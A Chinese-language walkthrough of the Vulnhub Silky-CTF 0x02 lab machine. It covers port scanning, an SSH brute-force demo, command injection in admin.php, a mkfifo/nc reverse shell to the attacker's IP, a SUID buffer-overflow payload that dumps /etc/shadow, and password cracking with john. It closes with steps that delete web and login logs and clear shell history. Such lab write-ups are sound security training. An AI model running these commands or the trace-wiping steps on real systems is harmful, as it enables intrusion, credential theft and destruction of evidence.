【Vulnhub系列靶场】Vulnhub_Silky-CTF_0x02 渗透

一、环境配置

从网盘下载该靶机,在vm中选择【打开】,选择“我已复制该虚拟机”。

image-20240129150403292

然后设置名称和存储路径,选择【重试】即可。

image-20240129150536282

之后配置靶机的网络连接模式为【NET】模式打开。

二、信息收集

1、主机发现

先查看主机主机的IP信息,再通过nmap扫描存活主机。

1
2
nmap -sn IP
#发现目标192.168.31.54

image-20240129151155765

2、端口扫描

对目标机器的端口进行扫描

1
2
3
nmap.exe -F 192.168.31.54	#快速粗略扫描
nmap.exe -p- -min-rate 1000 -sT 192.168.31.54 #以1000速率进行TCP详细扫描
nmap.exe -p- -min-rate 1000 -sU 192.168.31.54 #以1000速率进行UDP详细扫描

image-20240129151509326

image-20240129152017366

1
nmap -sT -sV -sC -O -Pn -p 22,80 192.168.31.54	#对目标开放端口及系统进行详细扫描

image-20240129152728947

目标是linux 的Debian系统、web采用apache服务。

22端口可以进行爆破,但是作为web靶场,显然不是让我们这么做,但是不妨用如下尝试:

1
2
hydra.exe -L users.txt -P password.txt ssh://192.168.31.54	#我们需要提供账号密码的字典即可
#此处不建议进行ssh爆破,怀疑有被封IP的可能。

如下只是提供了简单的账号密码字典做了演示,并未爆破成功:

image-20240129153510803

3、web目录扫描

我们采用dirsearch 进行扫描探测

1
2
dirsearch -u http://192.168.31.54
dirsearch -u http://192.168.31.54 -x 404,403 #可以过滤404,403的响应

image-20240129152050952

4、识别web框架

image-20240129153012108

并无任何框架

三、获取shell立足点

1、访问admin.php文件

image-20240129153717863

一个登陆页面,可能存在的漏洞:SQL注入。怀疑:但是我们在端口扫描中并未探测到3306等数据库端口的存在。

先随便输入账号密码,查看错误信息。

image-20240129155018184

尝试SQL注入,并用sqlmap 进行探测。可无论如何探测,结果都是失败的。

image-20240129160144688

2、发现漏洞

请出我们的xray,进行被动扫描,发现这个地方果然存在漏洞。

image-20240129160320766

参数username存在CMD注入,也就是命令执行漏洞

我们用curl进行查看

1
curl http://192.168.31.54/admin.php?username=whoami&password=222222

image-20240129163033098

确认存在命令执行漏洞

3、获取反弹shell

这个时候进行shell反弹,使用如下反弹命令(可以在命令反弹网站进行逐一尝试)

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.31.50 4444 >/tmp/f

并用nc进行监听,成功获取shell

image-20240129163627322

四、提权root

1、查找SUID文件

1
find / -user root -perm -4000 -print 2>/dev/null

image-20240129163847382

可以看到一个醒目的文件,前去查看。

image-20240129164023868

是一个755的SUID文件。

2、查看shadow文件

尝试执行该文件

image-20240129164142441

这里有点蒙圈,查看佬的文章得知此处利用缓冲区溢出,利用如下

1
./cat_shadow $(python -c 'print "A"*64 + "\x62\x59\x6c\x49"')

image-20240129164347287

查看到了/etc/shadow文件内容,此时可以对root、silky用户的密码进行爆破

3、获取root密码

将查看到的shadow文件中的账号密码复制保存到本地,提取能登陆的账号密码

image-20240129164854076

用john 进行破解

1
john.exe --wordlist=..\rockyou.txt pass.txt

image-20240129170910351

可以看到,已经破解出来root的密码

4、提权到root

我们尝试su 到root用户,却出现了意外。

image-20240129171004305

这个情况还是头一次见,问GPT得知是因为不是一个交互式的终端导致的。

用如下命令切换到交互式shell

1
SHELL=/bin/bash script -q /dev/null

在进行root成功

image-20240129171213571

五、痕迹清理

1、web日志清理

先找到web日志的位置,我们在一开始信息收集中知道网站采用apache2服务。我们可以直接查找apache2的配置文件

1
find / -name apache2.conf 2>/dev/null

image_20240129193343.png

查找log 的相关位置

1
cat /etc/apache2/apache2.conf | grep log

image_20240129194029.png

1
find / -name error.log 2>/dev/null

image_20240129194339.png

将apache2的日志下的文件都删除掉,顺便把看到的mysql的日志一并删除。

image_20240129194419.png

2、登录日志清理

当我们登录一台机器的时候会在机器的登录日志中留下痕迹。

日志位置:/var/log/auth.log(Centos系统是/var/log/secure)

可以直接删除该文件,也可以用如下命令只删除几行

1
sed $(($(sed -n '$=' auth.log)-10+1)),${A}d -i auth.log	#删除倒数10行

3、历史命令清理

此次是从www用户直接到root,因此我们只需要直接清除root用户的历史命令就可以了。

1
echo "" > ~/.bash_history && history -c